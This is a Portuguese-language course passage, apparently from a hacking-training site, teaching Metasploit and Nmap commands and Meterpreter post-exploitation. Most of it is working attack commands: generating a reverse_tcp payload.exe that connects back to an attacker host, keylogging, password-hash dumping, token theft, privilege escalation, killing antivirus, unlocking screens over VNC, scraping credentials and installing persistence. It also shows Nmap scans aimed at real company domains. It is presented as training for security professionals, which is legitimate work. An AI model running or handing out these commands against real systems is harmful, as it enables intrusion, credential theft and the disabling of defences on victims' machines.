Dentro da msfconsole você pode usar esse comando para exibir os exploits disponíveis. Novos exploits estão sempre sendo desenvolvidos e a lista irá continuar a crescer. Este comando irá mostrar todos os disponíveis atualmente.

 

msf> show auxiliary

Os módulos auxiliares no Metasploit podem ser utilizados para uma vasta gama de necessidades. Eles podem operar como scanners, negação de serviço, fuzzers e muito mais. Este comando irá exibi-los e listar as suas características.

 

msf> show options

Sempre que você estiver acessado um determinado modulo, e não souber quais variáveis devem ser configuradas você pode recorrer a esse comando. O Metasploit irá exibir apenas as opções que se aplicam a esse módulo particular.

 

Para selecionar um modulo você pode digitar o comando use conforme a seguir e para retornar utilize o comando back.

msf > use windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > back

msf >

 

O comando de pesquisa é útil para encontrar um ataque específico, módulos auxiliares etc. Por exemplo, se você quiser lançar um ataque contra uma base SQL, você poderia procurar SQL assim: msf > search mssql

 

Para mostrar a lista de payloads utilize o commando: msf> show payloads

 

msf> show targets

Os módulos muitas vezes podem listar potenciais alvos vulneráveis. Você pode testar o próprio exploit para buscar a vulnerabilidade no alvo.

 

info

Com o comando info você terá uma breve descrição de um determinado módulo, más você deve digitar de dentro do modulo, conforme a seguir:

msf exploit(ms08_067_netapi) > info

 

Comando "use"

Quando tiver decidido sobre um determinado módulo para utilizar, digite o comando "use" para selecioná-lo.

 

Comando connect

Ao digitar o comando "connect" com um endereço IP e o número da porta, você pode se conectar a um servidor remoto de dentro do msfconsole, o mesmo que você faria com netcat ou o telnet.

 

Comando check

Não existem muitos exploits que o suportam, mas também há uma opção "check", que irá verificar se o alvo é vulnerável a um exploit em particular.

 

Comandos "exploit/run"

Para executar um exploit, você digita o comando “exploit” mas, se você estiver usando um módulo auxiliar, o comando é 'run' embora 'exploit' possa funcionar na maioria deles.

 

set e unset

Todas as opções para um determinado módulo no Metasploit devem ser ativadas ou desativadas, especialmente se eles estiverem marcados como exigido ou sim. Por exemplo: set PAYLOAD Windows/meterpreter/reverse/tcp irá ativar o payload para conexão reversa.

 

setg e unsetg

Os comandos setg e unsetg servem para ativar e ou desativar os parâmetros global dentro do msfconsole.

 

save

Após as opções globais configuradas com o comando set, use o comando save para salvar as configurações atuais, assim ficará disponível na próxima vez que você for executar o console. Você pode inserir o comando salvar a qualquer momento no Metasploit.

 

Bem, de posse desses comandos você já poderá utilizar o Metasploit Framework com eficiência.

 

Resumo de comandos do NMAP

Nmap

Como o Nmap é um scanner de redes de domínio publico, vamos apenas colocar aqui alguns comandos e explicações resumidas de como você deve fazer para utiliza-lo.

 

Encontre servidores web aleatoriamente "4096"

  • #nmap-sS-PS80 -iR0 -p80
  • utilize a opção --exclude
  • ou –excludefile

 

Macetes do dns

  • host -t nstarget.com
  • host -t a target.com
  • host -t aaatarget.com
  • host -t mx target.com
  • host -t soa target.com

 

  • >Resolução dns:

 

Transferência de zona com a ferramenta dig.

  • exemplo: Este endereço de email está sendo protegido de spambots. Você precisa do JavaScript ativado para vê-lo. -t AXFR cpsr.org

 

Traceroute com nmap

  • nmap-PN -T4 --traceroutewww.clubedohacker.com.br

 

Funcionalidades da netcraft sobre dns

  • http://searchdns.netcraft.com/?host

 

Informações de roteamento da internet.

O protocolo de roteamento central da internet é o border gateway protocol"BGP". Quando do exame de organizações de médio a grande porte, as tabelas de roteamento de BGP podem lhe ajudar a encontrar suas sub-redes em todo o mundo.

 

Por exemplo, suponha que você quer examinar os endereços IP pertencentes a Microsoft Corporation. Uma busca de DNS por microsoft.com fornece o endereço IP 207.46.196.115. Uma consulta whois mostra que todo bloco 207.46.0.0/16 pertence à Microsoft, em seu endereço, "One Microsoft Way", •em Redmond.

Isto lhe dá 65.536 endereços IP para examinar, mas as tabelas de BGP expõem muito mais. Entidades como Microsoft, Google etc. têm números de sistemas autônomos (AS, na sigla em inglês) para fins de roteamento. Uma ferramenta útil para a determinação do número de AS divulgado para um dado endereço IP está disponível em http://asn.cymru.com

 

Se você desejar encontrar todos os endereços IP que são roteados para um determinado AS. Uma ferramenta útil está disponível em http://www.robtex.com/as experimente digitando AS8075 Embora a obtenção de informações de BGP a partir de formulários web seja bastante conveniente, a obtenção de dados de roteamento a partir roteadores reais é mais divertida e pode permitir consultas personalizadas e mais poderosas.

 

Várias organizações fornece esse serviço. Por exemplo, faça telnet para route-views.routeviews.org ou visite http://routeviews.org

 

Opções no NMAP para resolução DNS

-n = nenhuma resolução DNS

-R = resolução DNS para todos os alvos

-PN = examinar todos os IP´s

-sP= descoberta apenas de hospedeiros

-sL= apenas exibir alvo e sair antes de enviar prova de ping

-iL= usar entrada de lista "um arquivo com lista de alvos"

 

Exame de lista: -sL

O exame de lista é uma forma degenerada de descoberta de hosts que  simplesmente lista cada um nas redes especificadas, sem enviar qualquer pacote ao alvo.

 

Por padrão o nmap ainda efetua a resolução de DNS reverso nos hosts para descobrir os seus nomes.

O nmap também relata o número total de endereços IP no final. Se os  alvos simularem nomes de domínio para que você não os reconheça,

 

Tenha muito cuidado para evitar o exame da rede da companhia errada.

Exemplo de comando para exame de lista:

#nmap -sL www.clubedohacker.com.br

 

Exame por ping -sP

Essa opção diz ao nmap para realizar somente um exame por ping e depois exibir os hosts disponíveis que responderem ao exame. Nenhum outro teste será realizado, com exceção de scripts de hosts do mecanismo de scripts do nmap "--script" e provas de traceroute"-traceroute" se você tiver especificado estas opções.

Exemplo: #nmap-sP-T4 www.clubedohacker.com.br/24

No exemplo acima enviamos uma solicitação de eco de ICMP e um pacote TCP ACK para a porta 80, como usuários sem privilégios do unix (No Windows é necessária a biblioteca winpcap instalada para poder enviar pacotes crus, um pacote SYN é enviado. Nesses casos o pacote SYN é enviado usando-se uma chamada de conexão TCP do sistema à porta 80 do host alvo.

 

Técnicas de descobertas de hospedeiros

Ouve um tempo em que a descoberta, se um endereço IP estava registrado para um host ativo, era bem fácil. Simplesmente se enviava um pacote ICMP de requisição de eco "ping" e se esperava por uma resposta. Os firewalls raramente bloqueavam essas requisições e a vasta maioria dos hosts respondia de maneira obediente. Uma resposta sempre foi exigida desde 1989 pela RFC 1122, que afirmava claramente que "Todo hospedeiro deverá implementar uma função servidora de eco ICMP que receba solicitações de eco e envie correspondente resposta de eco.

 

Ex: #nmap –sP -PE -R -v microsoft.com citibank.com google.com - Aqui usamos um exemplo de ICMP puro do nmap em 3 sites famosos

 

As opções:

-sP -PE especificam um exemplo de ping ICMP puro.

-R diz ao nmap para realizar a resolução de DNS reverso em todos os hosts, mesmo os que estiverem fora do ar.

 

Ping por TCP SYN (-PS <lista de portas>)

A opção -PS envia um pacote TCP vazio, com o sinalizador SYN ligado.

A porta padrão de destino é a 80, mas pode ser configurada outra porta na hora da compilação, bastando para isso mudar em DEFAULT_TCP_PROBE_PORT_SPEC em nmap.h, más portas alternativas também podem ser  especificadas como parâmetro.

por exemplo: -PS 22,80,113,1050,35000 nos casos em que as provas devam ser executadas em cada porta em paralelo.

O sinalizador SYN sugere ao sistema remoto que você está tentando estabelecer uma conexão.

Normalmente a porta de destino estará fechada e um pacote RST será enviado de volta.

Se a porta estiver aberta, o alvo dará o segundo passo de uma saudação TCP de três tempos, respondendo com um pacote TCP SYN/ACK.

A máquina que está rodando o nmap então, corta a conexão iniciada, respondendo com um RST, em vez de enviar pacote ACK que completaria a saudação de três tempos e estabeleceria a conexão completa.

O Importante nisso tudo é que o nmap não se preocupa se a porta está aberta ou fechada. Qualquer das respostas, seja RST ou SYN/ACK confirmará para o nmap que a máquina alvo está disponível.

ex: #nmap-sP-PE -R -v microsoft.com citibank.com  •google.com

 

Ping por TCP ACK: -PA <lista de portas>

O ping por TCP ACK é similar ao ping por SYN, a diferença é que o sinalizador de TCP ACK está ligado, no lugar do sinalizador SYN.

Um pacote ACK supõe está reconhecendo dados através de uma conexão TCP estabelecida, mas essa conexão não existe. Assim a máquina alvo deverá sempre responder com um pacote RST, revelando sua existência nesse processo.

 

A opção -PA usa a mesma porta padrão que a porta SYN (80) mas também pode receber uma lista de portas de destino, no mesmo formato. A razão para se executar ambas as provas de ping por SYN e por ACK é maximizar as chances de ultrapassar os firewalls. Muitos administradores configuram roteadores e firewalls simples para bloquear pacotes SYN que chegam, exceto por aqueles destinados a serviços públicos, como web ou servidor de e-mail etc. Isto evita a chegada de outras conexões à empresa, enquanto permite que os usuários façam conexões de saída livremente com a internet.

 

ex: nmap-sP-PA www.microsoft.com

Esclarecemos que esse não é um curso de nmap, por isso vamos explicar um pouco mais e voltaremos para nosso escopo principal que é o Metasploit, esses comandos de nmap foram colocados aqui porque podem ser chamados de dentro do Metasploit.

 

Mecanismo de scripts

--script = selecionar um script especifico.

-sC = habilita os scripts mais comuns

 

Os scripts NSE definem uma lista de categorias a que pertencem.

As categorias atualmente definidas são:

*auth= Autenticação, Esses scripts tentam descobrir credenciais de autenticação no sistema alvo, normalmente através de ataques de força bruta.

 

*discovery= descoberta, Esses scripts tentam ativamente descobrir mais informações sobre a rede, consultando registros públicos, dispositivos habilitados ao SNMP, serviços de diretórios.

@Ex: html-title que obtém o titulo do caminho na raiz de um website.

@Ex:O smb-enum-shares que enumera compartilhamentos do Windows.

@Ex: snmp-sysdescr que extrai detalhes do sistema através do SNMP.

 

 

*version = versão, Os scripts nessa categoria especial são uma extensão a funcionalidade da detecção de versão e não podem ser selecionados explicitamente. Eles são selecionados para execução somente se a detecção de versão (-sV) for solicitada. A saída deles não podem ser distinguidas da saída de detecção de versão e eles não produzem resultados de scripts de serviços ou de hosts.

@Ex: são o skypev-2-version, o pptp-versione o iax2-version.

 

 

*vuln= versão, Estes scripts checam vulnerabilidades específicas conhecidas e, geralmente, só reportam resultados se elas forem encontradas.

@EX: realvnc-auth-bypasse o xampp-default-auth

 

*default = Esses scripts são o conjunto padrão e são executados quando usamos as opções –sC ou -A, ao invés de listar os scripts com --script.  Essa categoria pode ser especificada explicitamente, como qualquer outra, usando-se --script=default.

 

*external= externos, Os srcipts desta categoria podem enviar dados a bases de dados de terceiros ou outros recursos de rede. Um bom exemplo é o whois, que faz uma conexão aos servidores de whois para descobrir informações sobre o endereço do alvo.

 

*intrusive= intrusivos, Alguns scripts são muito intrusivos, porque usam recursos significativos no sistema remoto, podendo até derrubar o sistema ou serviço. Normalmente são percebidos como ataque pelos administradores remotos.

 

*malware= , Estes scripts testam se a plataforma está infectada por malwares ou backdoors.

Exemplos incluem o smtp-strangeport, que observa servidores SMTP rodando em números de portas incomuns e o auth-spoof que detecta servidores de simulação de identd que fornecem uma resposta falsa, antes mesmo de receberem uma consulta. Ambos esses comportamentos são associados a infecções de malwares.

 

*safe = seguros, Scripts que não foram projetados para derrubar serviços, usar grande quantidade de largura de banda da rede ou outros recursos, ou explorar brechas de segurança são categorizados como safe. O objetivo da maioria deles é a descoberta geral de rede.

@Ex: ssh-hostkey que recupera uma chave de SSH e o html-title que captura o titulo de uma página web.

 

  • Alguns Argumentos de Linha de Comando

-sC = habilita os scripts mais comuns

-sC = Realiza um exame por script usando o conjunto padrão de scripts. É o equivalente de:

--script =default.

--script = selecionar um script especifico.

--script <categoria de script>|<diretório>|<nome do aqruivo>|all

Roda o exame por script da mesma forma que –sC só que usa a lista separada por virgulas de categorias de script. Pode rodar script individual ou diretório de scripts.

--script-args, Fornece os argumentos para os scripts.

--script-updatedb, Atualiza a base de dados de scripts.

 

  • *auth-owners.nse, Tenta encontrar o proprietário de uma determinada porta TCP aberta, consultando um servidor de autenticação (identd-port113) que deverá também, está aberta no sistema alvo.

 

Existem muitos scripts e por isso nós temos um curso exclusivo para ao estudo de nmap

 

Script com Nmap: msf > nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

msf > nmap -sT -A -P0 192.168.33.132

 

 Olhando para o futuro: Nesta unidade, você aprendeu a aproveitar o Metasploit Framework para coleta de informações, más para isto você irá necessitar de pratica para identificar os melhores vetores possíveis na hora de um ataque.

 

Como experiência simples:

Use o commando: /msf# nc 192.168.1.203 80

Obs:: Em sua maquina de testes você deve especificar o IP correspondente e deve ter os serviços de redes disponíveis.

 

As informações retornadas irão nos dizer qual sistema está rodando na porta 80. De posse dessa informação, poderíamos usar um scanner de vulnerabilidades, para determinar se a versão do serviço em execução possui quaisquer vulnerabilidades associadas.

 

É claro que, na prática, não é assim tão simples. Scans de vulnerabilidades, muitas vezes contêm muitos falsos positivos, (relatando vulnerabilidades onde não existem) e falso negativos (falta de registro das vulnerabilidades onde exista) devido às diferenças sutis em configurações de sistema e de aplicativos.

 

Meterpreter

Nesta unidade vamos mergulhar um pouco mais a fundo, nesse canivete suíço do mundo hacker que pode melhorar significativamente a sua experiência pós-invasão.

O Meterpreter é um dos os principais produtos dentro do Metasploit e é aproveitado como uma carga muito útil após se explorar uma vulnerabilidade.

A carga ou “poayload” é a ação propriamente dita, é ela que traz as informações retornadas do alvo. Por exemplo, quando você explora uma falha em uma chamada a procedimento remoto (RPC), você deve ativar o exploit e selecionar a carga, pois seria dada uma abertura Meterpreter para o sistema.

O Meterpreter é uma extensão do Metasploit Framework, que nos permite aproveitar a funcionalidade do Metasploit e comprometer ainda mais o alvo.

Algumas destas funcionalidades incluem diversas maneiras de encobrir suas pegadas, pois residem exclusivamente na memória.

Pense em um canal livre, como uma espécie de linha de comandos de super-usuário que permite que você execute qualquer coisa que queira no sistema operacional alvo.

 

Comandos Básicos da Meterpreter

Tendo comprometido com sucesso o alvo e ganhando acesso via console Meterpreter no sistema, podemos recolher mais informações com alguns comandos básicos Meterpreter.

 

Exemplos:

Capturando uma tela: meterpreter > screenshot

Informações do sistema: meterpreter > sysinfo

 

Agora vamos pegar os valores de hash de senha a partir deste sistema, que pode ser quebrado ou usado em um ataque. Também vamos iniciar o keystroke logging de gravação de teclas digitadas no sistema remoto.

Más, primeiro, vamos listar os processos em execução no o sistema de destino com o comando ps.

Capturando as Teclas:

meterpreter > ps

meterpreter > migrate 1668

meterpreter > run post/windows/capture/keylog_recorder

 

Observe a localização onde está sendo salvo:

Keystrokes being saved in to /root/.msf/root/

20150324171334_default_192.168.1.195_host.windows.key_179704.txt

 

root@bt:~# cat /root/.msf/root/20150324171334_default_192.168.1.195_host.windows.key_179704.txt

Dumping de nomes de usuário e senhas

No exemplo anterior, nós pegamos o hashe de senha, pegando o que um usuário digitou. Podemos também usar a Meterpreter para obter os hashes com os nomes de usuário e senha em um sistema de arquivos local sem o uso de keyloggers.

 

Extraindo os hashes de senha:

Neste ataque, vamos alavancar o módulo de pós exploração hashdump na Meterpreter para extrair os usernames e passwords do sistema.

 

Dumping do hasch de senha

Para pegar o banco de dados Security Account  Manager (SAM), precisamos estar logado como SYSTEM para contornar as restrições de registro.

Veja uma janela no Metasploit / SMB / psexec.

 

Escalada de privilégios

Após ganhar acesso ao sistema, podemos criar uma conta de usuário normal com permissões limitadas usando o comando net user.

C:\Documents and Settings\Administrator>net user adonel password123456 /add.

Em seguida iremos criar uma carga, “payload.exe” baseada em Meterpreter, copiá-la para a máquina do alvo e executá-la. Esta será a nossa nova conta de usuário com poderes limitados.

Iremos usar o exemplo a seguir para criar um msfpayload que é uma carga base do Meterpreter, como um executável normal do Windows.

/usr/share/Metasploit-framework # ./msfpayload Windows/meterpreter/reverse_tcp LHOST=192.168.33.129 LPORT=443 X > payload.exe

/usr/share/Metasploit-framework #msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp

As opções LHOST e LPORT dizem ao Metasploit criamos o payload Meterpreter que irá trazer uma conexão reversa com nossa máquina e em seguida chamar a interface msfcli. O msfcli irá aguardar por conexões, e quando for recebida vai gerar uma shell Meterpreter.

Ao final pressione Ctrl-Z para salvar a sessão Meterpreter e manter você no sistema explorado.

 

meterpreter > shell

C:\>net user adonel

 

Agora vamos começar a mostrar como fazer a escalada de privilégios;

meterpreter > use priv

meterpreter > getsystem

meterpreter > getuid

 

Para voltar para a conta do usuário anterior em que, inicialmente, obteve acesso a Shell Meterpreter use rev2self.

 

Personificação de Token

Agora vamos tentar pegar um token Kerberos na máquina do alvo e usá-lo como autenticação para assumir a identidade do usuário proprietário do token.

 

Usando o ps

meterpreter > ps

 

meterpreter >

Imagine que você encontre na listagem apresentada logo após a execução do comando ps o PID 380 e queira tentar roubar tal processo.

meterpreter > steal_token 380

 

Em alguns casos o ps pode não incluir um processo em execução executado como um administrador. Podemos também executar o incógnito para listar.

 

 A seguir, vamos observar como administrador de domínio e transferir o usuário para o grupo Domain Admins.em uma maquina qualquer. Como exemplo 192.168.33.50.

 Ao entrar com add_user e adicionar os comandos do usuário e de grupo, não se esqueça de especificar a opção –h.

 

Passeando por outros sistemas

Exiba as sub-redes locais no sistema comprometido de dentro de uma sessão com o comando Meterpreter run get_local_subnets, como mostrado a seguir

 

Explore sistemas Linux remotos com os comandos a seguir:

msf exploit (lsa_transnames_heap) > exploit

Em exemplos anteriores, usamos o comando route add onde tínhamos o controle do sistema.

Alternativamente, para adicionar as rotas automaticamente você pode usar a Meterpreter em uma nova sessão para carregar o add_route automaticamente.

 

Usando Scripts Meterpreter

Vários scripts Meterpreter externos podem ajudá-lo a enumerar um sistema ou executar tarefas pré-definidas dentro da Meterpreter.

 

Para executar um script a partir do console Meterpreter, digite o nome do script.

O script irá iniciar ou fornecer ajuda adicional sobre como executá-lo.

Se você quiser usar uma GUI remota interativa no sistema, você pode usar o protocolo VNC para fazer um túnel de comunicações do Active Desktop e interagir com o ambiente gráfico na máquina de destino.

Más em alguns casos, o sistema pode ser bloqueado e você não obter acesso. No exemplo a seguir, nós vamos executar o comando run vnc, que instala uma sessão VNC no sistema remoto.

A partir daí, lançaremos uma tela de desbloqueio “run” para desbloquear o computador de destino para que você possa visualizar a área de trabalho.

Como resultado janela do VNC deve aparecer, exibindo área de trabalho de destino.

meterpreter > run vnc

Isso nos dará uma interface gráfica VNC na máquina de destino e nos permite interagir através de seu desktop. meterpreter > run screen_unlock

 

Migrando um Processo

Muitas vezes, quando estamos atacando um sistema e ou explorando um serviço como, por exemplo, “o Internet Explorer”, e se o usuário-alvo fechar o navegador, a sessão Meterpreter também será fechada e você perderá a conexão com o alvo.

Para evitar este problema, podemos usar o módulo de migração pós-exploração, para tentar migrar o serviço para um espaço de memória que não irá fechar quando o alvo fechar seu browser.

Ao migrar para um processo diferente, mais estável, mesmo que o usuário remoto feche seu browser nós continuaremos com a conexão com o sistema alvo.

meterpreter > run post/windows/manage/migrate

 

Matar Software Antivírus

O software antivírus pode bloquear determinadas tarefas durante seu trabalho pós-invasão.

Os desenvolvedores acompanham a evolução dos antivírus e softwares de prevenção de intrusão baseado em host.

Com isso a capacidade de executar determinados vectores de ataque fica bastante reduzida. Para esses casos, pode-se executar o script killav para parar os processos de prevenção de tarefas em execução.

meterpreter > run killav

 

A obtenção de hashes de senha do sistema

A obtenção de uma cópia de hashes de senha do sistema que nos permite executar um ataque de força bruta para revelar a senha em texto claro.

Podemos obter os hashes de senha com o comando run hashdump:

meterpreter > run hashdump

 

Enxergando todo o tráfego em uma máquina de destino

Para ver todo o tráfego em um alvo, o packetecorder salvar no formato .pcap a ser analisado com uma ferramenta como o Wireshark.

meterpreter > run packetrecorder -i 1

 

Raspagem de sistema

O script scraper enumera tudo o que você desejar em um sistema alvo. Ele vai pegar os nomes de usuários e senhas, baixar o arquivo de registro inteiro, descarregar os hashes de senha, reunir informações do sistema, e exportar o HKEY_CURRENT_USER (HKCU). meterpreter > run scraper

 

Usando Persistência

Os scripts de persistência do Meterpreter permitem injetar um agente Meterpreter para garantir a permanência da execução, mesmo que o sistema de destino venha a ser reinicializado. 

Você pode definir um intervalo para reconexão reversa, fazendo com que a maquina atacada volte a se conectar com a atacante.

Veja nos comandos a seguir:

1 - meterpreter > run persistence –x –i 50 –p 443 –r 192.168.1.100

 

2 - msf > use multi/handler

msf > exploit (handler) > set payload windows/meterpreter/reverse_tcp

> set LPORT 443

> set LHOST 192.168.1.100

> exploit

 

Nesse exemplo a única forma de remover o agente Meterpreter é excluindo a entrada de registro em HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \

Run \ e remover o VBScript localizado em C: \ WINDOWS \ TEMP \.

Tenha certeza de documentar as chaves do Registro e locais (tais como HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ xEYnaHedooc  2) para removê-los manualmente.

Geralmente pode-se fazer isso através da própria Meterpreter ou ir pela shell e removê-lo.

 

 

 

AGURDE A PRÓXIMA ETAPA MAIS AVANÇADA!

 

 

Adonel Bezerra

- É Especialista em investigação digital; - Consultor de Segurança de Sistemas e Redes com mais de trinta anos de experiência; - Professor de pós-graduação em Pericia Computacional no ESP e ESB; - Já ministrou treinamentos e palestras para milhares de profissionais em todo o Brasil; - Pós-graduado em Pericia Forense Computacional; - Pós-graduado em Teoria em Educação a Distância e Docência do Ensino Superior; - Graduando em Direito; - Graduando em Análise e Desenvolvimento de Sistemas; - É Graduado em Processamento de Dados.

Mais recentes de Adonel Bezerra